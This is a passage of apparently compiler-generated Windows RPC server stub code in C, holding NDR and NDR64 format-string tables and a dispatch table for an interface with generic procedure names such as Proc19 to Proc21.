*/ 1198 | /* 106 */ 1199 | 0x11, 0x0, /* FC_RP */ 1200 | /* 108 */ NdrFcShort( 0x2 ), /* Offset= 2 (110) */ 1201 | /* 110 */ 1202 | 0x1a, /* FC_BOGUS_STRUCT */ 1203 | 0x3, /* 3 */ 1204 | /* 112 */ NdrFcShort( 0x10 ), /* 16 */ 1205 | /* 114 */ NdrFcShort( 0x0 ), /* 0 */ 1206 | /* 116 */ NdrFcShort( 0x0 ), /* Offset= 0 (116) */ 1207 | /* 118 */ 0x8, /* FC_LONG */ 1208 | 0x8, /* FC_LONG */ 1209 | /* 120 */ 0x8, /* FC_LONG */ 1210 | 0x6, /* FC_SHORT */ 1211 | /* 122 */ 0x3e, /* FC_STRUCTPAD2 */ 1212 | 0x5b, /* FC_END */ 1213 | /* 124 */ 1214 | 0x12, 0x8, /* FC_UP [simple_pointer] */ 1215 | /* 126 */ 1216 | 0x25, /* FC_C_WSTRING */ 1217 | 0x5c, /* FC_PAD */ 1218 | /* 128 */ 1219 | 0x11, 0x0, /* FC_RP */ 1220 | /* 130 */ NdrFcShort( 0x2 ), /* Offset= 2 (132) */ 1221 | /* 132 */ 0xb1, /* FC_FORCED_BOGUS_STRUCT */ 1222 | 0x3, /* 3 */ 1223 | /* 134 */ NdrFcShort( 0x14 ), /* 20 */ 1224 | /* 136 */ NdrFcShort( 0x0 ), /* 0 */ 1225 | /* 138 */ NdrFcShort( 0x0 ), /* Offset= 0 (138) */ 1226 | /* 140 */ 0x8, /* FC_LONG */ 1227 | 0x6, /* FC_SHORT */ 1228 | /* 142 */ 0x3e, /* FC_STRUCTPAD2 */ 1229 | 0x8, /* FC_LONG */ 1230 | /* 144 */ 0x8, /* FC_LONG */ 1231 | 0x8, /* FC_LONG */ 1232 | /* 146 */ 0x5c, /* FC_PAD */ 1233 | 0x5b, /* FC_END */ 1234 | 1235 | 0x0 1236 | } 1237 | }; 1238 | 1239 | static const unsigned short DefaultIfName_FormatStringOffsetTable[] = 1240 | { 1241 | 0, 1242 | 54, 1243 | 108, 1244 | 162, 1245 | 210, 1246 | 264, 1247 | 324, 1248 | 378, 1249 | 426, 1250 | 474, 1251 | 522, 1252 | 582, 1253 | 642, 1254 | 684, 1255 | 732, 1256 | 786, 1257 | 840, 1258 | 876, 1259 | 924, 1260 | 972, 1261 | 1026, 1262 | 1080 1263 | }; 1264 | 1265 | 1266 | static const RPC_DISPATCH_FUNCTION DefaultIfName_table[] = 1267 | { 1268 | NdrServerCall2, 1269 | NdrServerCall2, 1270 | NdrServerCall2, 1271 | NdrServerCall2, 1272 | NdrServerCall2, 1273 | NdrServerCall2, 1274 | NdrServerCall2, 1275 | NdrServerCall2, 1276 | NdrServerCall2, 1277 | NdrServerCall2, 1278 | NdrServerCall2, 1279 | NdrServerCall2, 1280 | NdrServerCall2, 1281 | NdrServerCall2, 1282 | NdrServerCall2, 1283 | NdrServerCall2, 1284 | NdrServerCall2, 1285 | NdrServerCall2, 1286 | NdrServerCall2, 1287 | NdrServerCall2, 1288 | NdrServerCall2, 1289 | NdrServerCall2, 1290 | 0 1291 | }; 1292 | static const RPC_DISPATCH_TABLE DefaultIfName_v0_0_DispatchTable = 1293 | { 1294 | 22, 1295 | (RPC_DISPATCH_FUNCTION*)DefaultIfName_table 1296 | }; 1297 | 1298 | 1299 | #endif /* defined(_M_AMD64)*/ 1300 | 1301 | 1302 | 1303 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 1304 | 1305 | 1306 | /* File created by MIDL compiler version 8.01.0622 */ 1307 | /* at Tue Jan 19 04:14:07 2038 1308 | */ 1309 | /* Compiler settings for rpc.idl: 1310 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 1311 | protocol : all , ms_ext, c_ext, robust 1312 | error checks: allocation ref bounds_check enum stub_data 1313 | VC __declspec() decoration level: 1314 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 1315 | DECLSPEC_UUID(), MIDL_INTERFACE() 1316 | */ 1317 | /* @@MIDL_FILE_HEADING( ) */ 1318 | 1319 | #if defined(_M_AMD64) 1320 | 1321 | 1322 | 1323 | 1324 | #if !defined(__RPC_WIN64__) 1325 | #error Invalid build platform for this stub. 1326 | #endif 1327 | 1328 | 1329 | #include "ndr64types.h" 1330 | #include "pshpack8.h" 1331 | 1332 | 1333 | typedef 1334 | NDR64_FORMAT_CHAR 1335 | __midl_frag113_t; 1336 | extern const __midl_frag113_t __midl_frag113; 1337 | 1338 | typedef 1339 | struct 1340 | { 1341 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; 1342 | struct 1343 | { 1344 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; 1345 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; 1346 | struct _NDR64_MEMPAD_FORMAT frag3; 1347 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; 1348 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; 1349 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; 1350 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; 1351 | } frag2; 1352 | } 1353 | __midl_frag112_t; 1354 | extern const __midl_frag112_t __midl_frag112; 1355 | 1356 | typedef 1357 | struct _NDR64_POINTER_FORMAT 1358 | __midl_frag111_t; 1359 | extern const __midl_frag111_t __midl_frag111; 1360 | 1361 | typedef 1362 | struct 1363 | { 1364 | struct _NDR64_PROC_FORMAT frag1; 1365 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1366 | struct _NDR64_PARAM_FORMAT frag3; 1367 | struct _NDR64_PARAM_FORMAT frag4; 1368 | } 1369 | __midl_frag110_t; 1370 | extern const __midl_frag110_t __midl_frag110; 1371 | 1372 | typedef 1373 | struct _NDR64_CONFORMANT_STRING_FORMAT 1374 | __midl_frag107_t; 1375 | extern const __midl_frag107_t __midl_frag107; 1376 | 1377 | typedef 1378 | struct _NDR64_POINTER_FORMAT 1379 | __midl_frag106_t; 1380 | extern const __midl_frag106_t __midl_frag106; 1381 | 1382 | typedef 1383 | NDR64_FORMAT_CHAR 1384 | __midl_frag105_t; 1385 | extern const __midl_frag105_t __midl_frag105; 1386 | 1387 | typedef 1388 | struct 1389 | { 1390 | struct _NDR64_PROC_FORMAT frag1; 1391 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1392 | struct _NDR64_PARAM_FORMAT frag3; 1393 | struct _NDR64_PARAM_FORMAT frag4; 1394 | struct _NDR64_PARAM_FORMAT frag5; 1395 | struct _NDR64_PARAM_FORMAT frag6; 1396 | } 1397 | __midl_frag104_t; 1398 | extern const __midl_frag104_t __midl_frag104; 1399 | 1400 | typedef 1401 | struct _NDR64_POINTER_FORMAT 1402 | __midl_frag101_t; 1403 | extern const __midl_frag101_t __midl_frag101; 1404 | 1405 | typedef 1406 | struct 1407 | { 1408 | struct _NDR64_PROC_FORMAT frag1; 1409 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1410 | struct _NDR64_PARAM_FORMAT frag3; 1411 | struct _NDR64_PARAM_FORMAT frag4; 1412 | struct _NDR64_PARAM_FORMAT frag5; 1413 | struct _NDR64_PARAM_FORMAT frag6; 1414 | } 1415 | __midl_frag97_t; 1416 | extern const __midl_frag97_t __midl_frag97; 1417 | 1418 | typedef 1419 | struct 1420 | { 1421 | struct _NDR64_PROC_FORMAT frag1; 1422 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1423 | struct _NDR64_PARAM_FORMAT frag3; 1424 | struct _NDR64_PARAM_FORMAT frag4; 1425 | struct _NDR64_PARAM_FORMAT frag5; 1426 | } 1427 | __midl_frag92_t; 1428 | extern const __midl_frag92_t __midl_frag92; 1429 | 1430 | typedef 1431 | struct 1432 | { 1433 | struct _NDR64_PROC_FORMAT frag1; 1434 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1435 | struct _NDR64_PARAM_FORMAT frag3; 1436 | struct _NDR64_PARAM_FORMAT frag4; 1437 | struct _NDR64_PARAM_FORMAT frag5; 1438 | } 1439 | __midl_frag88_t; 1440 | extern const __midl_frag88_t __midl_frag88; 1441 | 1442 | typedef 1443 | struct 1444 | { 1445 | struct _NDR64_PROC_FORMAT frag1; 1446 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1447 | struct _NDR64_PARAM_FORMAT frag3; 1448 | } 1449 | __midl_frag86_t; 1450 | extern const __midl_frag86_t __midl_frag86; 1451 | 1452 | typedef 1453 | struct 1454 | { 1455 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; 1456 | } 1457 | __midl_frag84_t; 1458 | extern const __midl_frag84_t __midl_frag84; 1459 | 1460 | typedef 1461 | struct _NDR64_POINTER_FORMAT 1462 | __midl_frag83_t; 1463 | extern const __midl_frag83_t __midl_frag83; 1464 | 1465 | typedef 1466 | struct 1467 | { 1468 | struct _NDR64_PROC_FORMAT frag1; 1469 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1470 | struct _NDR64_PARAM_FORMAT frag3; 1471 | struct _NDR64_PARAM_FORMAT frag4; 1472 | struct _NDR64_PARAM_FORMAT frag5; 1473 | struct _NDR64_PARAM_FORMAT frag6; 1474 | } 1475 | __midl_frag80_t; 1476 | extern const __midl_frag80_t __midl_frag80; 1477 | 1478 | typedef 1479 | NDR64_FORMAT_CHAR 1480 | __midl_frag79_t; 1481 | extern const __midl_frag79_t __midl_frag79; 1482 | 1483 | typedef 1484 | struct _NDR64_POINTER_FORMAT 1485 | __midl_frag76_t; 1486 | extern const __midl_frag76_t __midl_frag76; 1487 | 1488 | typedef 1489 | struct 1490 | { 1491 | struct _NDR64_PROC_FORMAT frag1; 1492 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1493 | struct _NDR64_PARAM_FORMAT frag3; 1494 | struct _NDR64_PARAM_FORMAT frag4; 1495 | struct _NDR64_PARAM_FORMAT frag5; 1496 | struct _NDR64_PARAM_FORMAT frag6; 1497 | } 1498 | __midl_frag73_t; 1499 | extern const __midl_frag73_t __midl_frag73; 1500 | 1501 | typedef 1502 | struct 1503 | { 1504 | struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; 1505 | struct 1506 | { 1507 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; 1508 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; 1509 | struct _NDR64_MEMPAD_FORMAT frag3; 1510 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; 1511 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; 1512 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; 1513 | struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; 1514 | } frag2; 1515 | } 1516 | __midl_frag67_t; 1517 | extern const __midl_frag67_t __midl_frag67; 1518 | 1519 | typedef 1520 | struct _NDR64_POINTER_FORMAT 1521 | __midl_frag66_t; 1522 | extern const __midl_frag66_t __midl_frag66; 1523 | 1524 | typedef 1525 | struct 1526 | { 1527 | struct _NDR64_PROC_FORMAT frag1; 1528 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1529 | struct _NDR64_PARAM_FORMAT frag3; 1530 | struct _NDR64_PARAM_FORMAT frag4; 1531 | } 1532 | __midl_frag65_t; 1533 | extern const __midl_frag65_t __midl_frag65; 1534 | 1535 | typedef 1536 | struct 1537 | { 1538 | struct _NDR64_PROC_FORMAT frag1; 1539 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1540 | struct _NDR64_PARAM_FORMAT frag3; 1541 | struct _NDR64_PARAM_FORMAT frag4; 1542 | struct _NDR64_PARAM_FORMAT frag5; 1543 | struct _NDR64_PARAM_FORMAT frag6; 1544 | struct _NDR64_PARAM_FORMAT frag7; 1545 | } 1546 | __midl_frag59_t; 1547 | extern const __midl_frag59_t __midl_frag59; 1548 | 1549 | typedef 1550 | struct 1551 | { 1552 | struct _NDR64_PROC_FORMAT frag1; 1553 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1554 | struct _NDR64_PARAM_FORMAT frag3; 1555 | struct _NDR64_PARAM_FORMAT frag4; 1556 | struct _NDR64_PARAM_FORMAT frag5; 1557 | struct _NDR64_PARAM_FORMAT frag6; 1558 | struct _NDR64_PARAM_FORMAT frag7; 1559 | } 1560 | __midl_frag52_t; 1561 | extern const __midl_frag52_t __midl_frag52; 1562 | 1563 | typedef 1564 | struct 1565 | { 1566 | struct _NDR64_PROC_FORMAT frag1; 1567 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1568 | struct _NDR64_PARAM_FORMAT frag3; 1569 | struct _NDR64_PARAM_FORMAT frag4; 1570 | struct _NDR64_PARAM_FORMAT frag5; 1571 | } 1572 | __midl_frag44_t; 1573 | extern const __midl_frag44_t __midl_frag44; 1574 | 1575 | typedef 1576 | struct 1577 | { 1578 | struct _NDR64_PROC_FORMAT frag1; 1579 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1580 | struct _NDR64_PARAM_FORMAT frag3; 1581 | struct _NDR64_PARAM_FORMAT frag4; 1582 | struct _NDR64_PARAM_FORMAT frag5; 1583 | struct _NDR64_PARAM_FORMAT frag6; 1584 | } 1585 | __midl_frag35_t; 1586 | extern const __midl_frag35_t __midl_frag35; 1587 | 1588 | typedef 1589 | struct 1590 | { 1591 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; 1592 | } 1593 | __midl_frag33_t; 1594 | extern const __midl_frag33_t __midl_frag33; 1595 | 1596 | typedef 1597 | struct _NDR64_POINTER_FORMAT 1598 | __midl_frag32_t; 1599 | extern const __midl_frag32_t __midl_frag32; 1600 | 1601 | typedef 1602 | struct 1603 | { 1604 | struct _NDR64_PROC_FORMAT frag1; 1605 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1606 | struct _NDR64_PARAM_FORMAT frag3; 1607 | struct _NDR64_PARAM_FORMAT frag4; 1608 | struct _NDR64_PARAM_FORMAT frag5; 1609 | struct _NDR64_PARAM_FORMAT frag6; 1610 | struct _NDR64_PARAM_FORMAT frag7; 1611 | } 1612 | __midl_frag28_t; 1613 | extern const __midl_frag28_t __midl_frag28; 1614 | 1615 | typedef 1616 | struct 1617 | { 1618 | struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; 1619 | } 1620 | __midl_frag26_t; 1621 | extern const __midl_frag26_t __midl_frag26; 1622 | 1623 | typedef 1624 | struct _NDR64_POINTER_FORMAT 1625 | __midl_frag25_t; 1626 | extern const __midl_frag25_t __midl_frag25; 1627 | 1628 | typedef 1629 | struct 1630 | { 1631 | struct _NDR64_PROC_FORMAT frag1; 1632 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1633 | struct _NDR64_PARAM_FORMAT frag3; 1634 | struct _NDR64_PARAM_FORMAT frag4; 1635 | struct _NDR64_PARAM_FORMAT frag5; 1636 | struct _NDR64_PARAM_FORMAT frag6; 1637 | } 1638 | __midl_frag22_t; 1639 | extern const __midl_frag22_t __midl_frag22; 1640 | 1641 | typedef 1642 | struct 1643 | { 1644 | struct _NDR64_PROC_FORMAT frag1; 1645 | struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; 1646 | struct _NDR64_PARAM_FORMAT frag3; 1647 | struct _NDR64_PARAM_FORMAT frag4; 1648 | struct _NDR64_PARAM_FORMAT frag5; 1649 | struct _NDR64_PARAM_FORMAT frag6; 1650 | } 1651 | __midl_frag12_t; 1652 | extern const __midl_frag12_t __midl_frag12; 1653 | 1654 | typedef 1655 | NDR64_FORMAT_UINT32 1656 | __midl_frag1_t; 1657 | extern const __midl_frag1_t __midl_frag1; 1658 | 1659 | static const __midl_frag113_t __midl_frag113 = 1660 | 0x5 /* FC64_INT32 */; 1661 | 1662 | static const __midl_frag112_t __midl_frag112 = 1663 | { 1664 | /* Struct_134_t */ 1665 | { 1666 | /* Struct_134_t */ 1667 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */ 1668 | (NDR64_UINT8) 3 /* 0x3 */, 1669 | { 1670 | /* Struct_134_t */ 1671 | 0, 1672 | 1, 1673 | 0, 1674 | 0, 1675 | 0, 1676 | 0, 1677 | 0, 1678 | 0 1679 | }, 1680 | (NDR64_UINT8) 0 /* 0x0 */, 1681 | (NDR64_UINT32) 20 /* 0x14 */, 1682 | 0, 1683 | 0, 1684 | 0, 1685 | }, 1686 | { 1687 | /* */ 1688 | { 1689 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 1690 | 0x5, /* FC64_INT32 */ 1691 | (NDR64_UINT8) 0 /* 0x0 */, 1692 | (NDR64_UINT16) 0 /* 0x0 */, 1693 | (NDR64_UINT32) 0 /* 0x0 */ 1694 | }, 1695 | { 1696 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 1697 | 0x4, /* FC64_INT16 */ 1698 | (NDR64_UINT8) 0 /* 0x0 */, 1699 | (NDR64_UINT16) 0 /* 0x0 */, 1700 | (NDR64_UINT32) 0 /* 0x0 */ 1701 | }, 1702 | { 1703 | /* struct _NDR64_MEMPAD_FORMAT */ 1704 | 0x90, /* FC64_STRUCTPADN */ 1705 | (NDR64_UINT8) 0 /* 0x0 */, 1706 | (NDR64_UINT16) 2 /* 0x2 */, 1707 | (NDR64_UINT32) 0 /* 0x0 */ 1708 | }, 1709 | { 1710 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 1711 | 0x5, /* FC64_INT32 */ 1712 | (NDR64_UINT8) 0 /* 0x0 */, 1713 | (NDR64_UINT16) 0 /* 0x0 */, 1714 | (NDR64_UINT32) 0 /* 0x0 */ 1715 | }, 1716 | { 1717 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 1718 | 0x5, /* FC64_INT32 */ 1719 | (NDR64_UINT8) 0 /* 0x0 */, 1720 | (NDR64_UINT16) 0 /* 0x0 */, 1721 | (NDR64_UINT32) 0 /* 0x0 */ 1722 | }, 1723 | { 1724 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 1725 | 0x5, /* FC64_INT32 */ 1726 | (NDR64_UINT8) 0 /* 0x0 */, 1727 | (NDR64_UINT16) 0 /* 0x0 */, 1728 | (NDR64_UINT32) 0 /* 0x0 */ 1729 | }, 1730 | { 1731 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 1732 | 0x93, /* FC64_END */ 1733 | (NDR64_UINT8) 0 /* 0x0 */, 1734 | (NDR64_UINT16) 0 /* 0x0 */, 1735 | (NDR64_UINT32) 0 /* 0x0 */ 1736 | } 1737 | } 1738 | }; 1739 | 1740 | static const __midl_frag111_t __midl_frag111 = 1741 | { 1742 | /* *Struct_134_t */ 1743 | 0x20, /* FC64_RP */ 1744 | (NDR64_UINT8) 0 /* 0x0 */, 1745 | (NDR64_UINT16) 0 /* 0x0 */, 1746 | &__midl_frag112 1747 | }; 1748 | 1749 | static const __midl_frag110_t __midl_frag110 = 1750 | { 1751 | /* Proc21 */ 1752 | { 1753 | /* Proc21 */ /* procedure Proc21 */ 1754 | (NDR64_UINT32) 17694784 /* 0x10e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, HasExtensions */ 1755 | (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ 1756 | (NDR64_UINT32) 0 /* 0x0 */, 1757 | (NDR64_UINT32) 8 /* 0x8 */, 1758 | (NDR64_UINT16) 0 /* 0x0 */, 1759 | (NDR64_UINT16) 0 /* 0x0 */, 1760 | (NDR64_UINT16) 2 /* 0x2 */, 1761 | (NDR64_UINT16) 8 /* 0x8 */ 1762 | }, 1763 | { 1764 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 1765 | { 1766 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 1767 | 0x72, /* FC64_BIND_PRIMITIVE */ 1768 | (NDR64_UINT8) 0 /* 0x0 */, 1769 | 0 /* 0x0 */, /* Stack offset */ 1770 | (NDR64_UINT8) 0 /* 0x0 */, 1771 | (NDR64_UINT8) 0 /* 0x0 */ 1772 | }, 1773 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 1774 | }, 1775 | { 1776 | /* arg_1 */ /* parameter arg_1 */ 1777 | &__midl_frag112, 1778 | { 1779 | /* arg_1 */ 1780 | 1, 1781 | 1, 1782 | 0, 1783 | 1, 1784 | 1, 1785 | 0, 1786 | 0, 1787 | 0, 1788 | 1, 1789 | 0, 1790 | 0, 1791 | 0, 1792 | 0, 1793 | (NDR64_UINT16) 0 /* 0x0 */, 1794 | 0 1795 | }, /* MustSize, MustFree, [in], [out], SimpleRef */ 1796 | (NDR64_UINT16) 0 /* 0x0 */, 1797 | 8 /* 0x8 */, /* Stack offset */ 1798 | }, 1799 | { 1800 | /* long */ /* parameter long */ 1801 | &__midl_frag113, 1802 | { 1803 | /* long */ 1804 | 0, 1805 | 0, 1806 | 0, 1807 | 0, 1808 | 1, 1809 | 1, 1810 | 1, 1811 | 1, 1812 | 0, 1813 | 0, 1814 | 0, 1815 | 0, 1816 | 0, 1817 | (NDR64_UINT16) 0 /* 0x0 */, 1818 | 0 1819 | }, /* [out], IsReturn, Basetype, ByValue */ 1820 | (NDR64_UINT16) 0 /* 0x0 */, 1821 | 16 /* 0x10 */, /* Stack offset */ 1822 | } 1823 | }; 1824 | 1825 | static const __midl_frag107_t __midl_frag107 = 1826 | { 1827 | /* *wchar_t */ 1828 | { 1829 | /* *wchar_t */ 1830 | 0x64, /* FC64_CONF_WCHAR_STRING */ 1831 | { 1832 | /* *wchar_t */ 1833 | 0, 1834 | 0, 1835 | 0, 1836 | 0, 1837 | 0, 1838 | 0, 1839 | 0, 1840 | 0 1841 | }, 1842 | (NDR64_UINT16) 2 /* 0x2 */ 1843 | } 1844 | }; 1845 | 1846 | static const __midl_frag106_t __midl_frag106 = 1847 | { 1848 | /* *wchar_t */ 1849 | 0x21, /* FC64_UP */ 1850 | (NDR64_UINT8) 0 /* 0x0 */, 1851 | (NDR64_UINT16) 0 /* 0x0 */, 1852 | &__midl_frag107 1853 | }; 1854 | 1855 | static const __midl_frag105_t __midl_frag105 = 1856 | 0x4 /* FC64_INT16 */; 1857 | 1858 | static const __midl_frag104_t __midl_frag104 = 1859 | { 1860 | /* Proc20 */ 1861 | { 1862 | /* Proc20 */ /* procedure Proc20 */ 1863 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ 1864 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 1865 | (NDR64_UINT32) 14 /* 0xe */, 1866 | (NDR64_UINT32) 8 /* 0x8 */, 1867 | (NDR64_UINT16) 0 /* 0x0 */, 1868 | (NDR64_UINT16) 0 /* 0x0 */, 1869 | (NDR64_UINT16) 4 /* 0x4 */, 1870 | (NDR64_UINT16) 8 /* 0x8 */ 1871 | }, 1872 | { 1873 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 1874 | { 1875 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 1876 | 0x72, /* FC64_BIND_PRIMITIVE */ 1877 | (NDR64_UINT8) 0 /* 0x0 */, 1878 | 0 /* 0x0 */, /* Stack offset */ 1879 | (NDR64_UINT8) 0 /* 0x0 */, 1880 | (NDR64_UINT8) 0 /* 0x0 */ 1881 | }, 1882 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 1883 | }, 1884 | { 1885 | /* arg_1 */ /* parameter arg_1 */ 1886 | &__midl_frag105, 1887 | { 1888 | /* arg_1 */ 1889 | 0, 1890 | 0, 1891 | 0, 1892 | 1, 1893 | 0, 1894 | 0, 1895 | 1, 1896 | 1, 1897 | 0, 1898 | 0, 1899 | 0, 1900 | 0, 1901 | 0, 1902 | (NDR64_UINT16) 0 /* 0x0 */, 1903 | 0 1904 | }, /* [in], Basetype, ByValue */ 1905 | (NDR64_UINT16) 0 /* 0x0 */, 1906 | 8 /* 0x8 */, /* Stack offset */ 1907 | }, 1908 | { 1909 | /* arg_2 */ /* parameter arg_2 */ 1910 | &__midl_frag106, 1911 | { 1912 | /* arg_2 */ 1913 | 1, 1914 | 1, 1915 | 0, 1916 | 1, 1917 | 0, 1918 | 0, 1919 | 0, 1920 | 0, 1921 | 0, 1922 | 0, 1923 | 0, 1924 | 0, 1925 | 0, 1926 | (NDR64_UINT16) 0 /* 0x0 */, 1927 | 0 1928 | }, /* MustSize, MustFree, [in] */ 1929 | (NDR64_UINT16) 0 /* 0x0 */, 1930 | 16 /* 0x10 */, /* Stack offset */ 1931 | }, 1932 | { 1933 | /* arg_3 */ /* parameter arg_3 */ 1934 | &__midl_frag113, 1935 | { 1936 | /* arg_3 */ 1937 | 0, 1938 | 0, 1939 | 0, 1940 | 1, 1941 | 0, 1942 | 0, 1943 | 1, 1944 | 1, 1945 | 0, 1946 | 0, 1947 | 0, 1948 | 0, 1949 | 0, 1950 | (NDR64_UINT16) 0 /* 0x0 */, 1951 | 0 1952 | }, /* [in], Basetype, ByValue */ 1953 | (NDR64_UINT16) 0 /* 0x0 */, 1954 | 24 /* 0x18 */, /* Stack offset */ 1955 | }, 1956 | { 1957 | /* long */ /* parameter long */ 1958 | &__midl_frag113, 1959 | { 1960 | /* long */ 1961 | 0, 1962 | 0, 1963 | 0, 1964 | 0, 1965 | 1, 1966 | 1, 1967 | 1, 1968 | 1, 1969 | 0, 1970 | 0, 1971 | 0, 1972 | 0, 1973 | 0, 1974 | (NDR64_UINT16) 0 /* 0x0 */, 1975 | 0 1976 | }, /* [out], IsReturn, Basetype, ByValue */ 1977 | (NDR64_UINT16) 0 /* 0x0 */, 1978 | 32 /* 0x20 */, /* Stack offset */ 1979 | } 1980 | }; 1981 | 1982 | static const __midl_frag101_t __midl_frag101 = 1983 | { 1984 | /* *long */ 1985 | 0x20, /* FC64_RP */ 1986 | (NDR64_UINT8) 12 /* 0xc */, 1987 | (NDR64_UINT16) 0 /* 0x0 */, 1988 | &__midl_frag113 1989 | }; 1990 | 1991 | static const __midl_frag97_t __midl_frag97 = 1992 | { 1993 | /* Proc19 */ 1994 | { 1995 | /* Proc19 */ /* procedure Proc19 */ 1996 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ 1997 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 1998 | (NDR64_UINT32) 6 /* 0x6 */, 1999 | (NDR64_UINT32) 40 /* 0x28 */, 2000 | (NDR64_UINT16) 0 /* 0x0 */, 2001 | (NDR64_UINT16) 0 /* 0x0 */, 2002 | (NDR64_UINT16) 4 /* 0x4 */, 2003 | (NDR64_UINT16) 8 /* 0x8 */ 2004 | }, 2005 | { 2006 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2007 | { 2008 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2009 | 0x72, /* FC64_BIND_PRIMITIVE */ 2010 | (NDR64_UINT8) 0 /* 0x0 */, 2011 | 0 /* 0x0 */, /* Stack offset */ 2012 | (NDR64_UINT8) 0 /* 0x0 */, 2013 | (NDR64_UINT8) 0 /* 0x0 */ 2014 | }, 2015 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2016 | }, 2017 | { 2018 | /* arg_1 */ /* parameter arg_1 */ 2019 | &__midl_frag105, 2020 | { 2021 | /* arg_1 */ 2022 | 0, 2023 | 0, 2024 | 0, 2025 | 1, 2026 | 0, 2027 | 0, 2028 | 1, 2029 | 1, 2030 | 0, 2031 | 0, 2032 | 0, 2033 | 0, 2034 | 0, 2035 | (NDR64_UINT16) 0 /* 0x0 */, 2036 | 0 2037 | }, /* [in], Basetype, ByValue */ 2038 | (NDR64_UINT16) 0 /* 0x0 */, 2039 | 8 /* 0x8 */, /* Stack offset */ 2040 | }, 2041 | { 2042 | /* arg_2 */ /* parameter arg_2 */ 2043 | &__midl_frag106, 2044 | { 2045 | /* arg_2 */ 2046 | 1, 2047 | 1, 2048 | 0, 2049 | 1, 2050 | 0, 2051 | 0, 2052 | 0, 2053 | 0, 2054 | 0, 2055 | 0, 2056 | 0, 2057 | 0, 2058 | 0, 2059 | (NDR64_UINT16) 0 /* 0x0 */, 2060 | 0 2061 | }, /* MustSize, MustFree, [in] */ 2062 | (NDR64_UINT16) 0 /* 0x0 */, 2063 | 16 /* 0x10 */, /* Stack offset */ 2064 | }, 2065 | { 2066 | /* arg_3 */ /* parameter arg_3 */ 2067 | &__midl_frag113, 2068 | { 2069 | /* arg_3 */ 2070 | 0, 2071 | 0, 2072 | 0, 2073 | 0, 2074 | 1, 2075 | 0, 2076 | 1, 2077 | 0, 2078 | 1, 2079 | 0, 2080 | 0, 2081 | 0, 2082 | 0, 2083 | (NDR64_UINT16) 0 /* 0x0 */, 2084 | 1 2085 | }, /* [out], Basetype, SimpleRef, UseCache */ 2086 | (NDR64_UINT16) 0 /* 0x0 */, 2087 | 24 /* 0x18 */, /* Stack offset */ 2088 | }, 2089 | { 2090 | /* long */ /* parameter long */ 2091 | &__midl_frag113, 2092 | { 2093 | /* long */ 2094 | 0, 2095 | 0, 2096 | 0, 2097 | 0, 2098 | 1, 2099 | 1, 2100 | 1, 2101 | 1, 2102 | 0, 2103 | 0, 2104 | 0, 2105 | 0, 2106 | 0, 2107 | (NDR64_UINT16) 0 /* 0x0 */, 2108 | 0 2109 | }, /* [out], IsReturn, Basetype, ByValue */ 2110 | (NDR64_UINT16) 0 /* 0x0 */, 2111 | 32 /* 0x20 */, /* Stack offset */ 2112 | } 2113 | }; 2114 | 2115 | static const 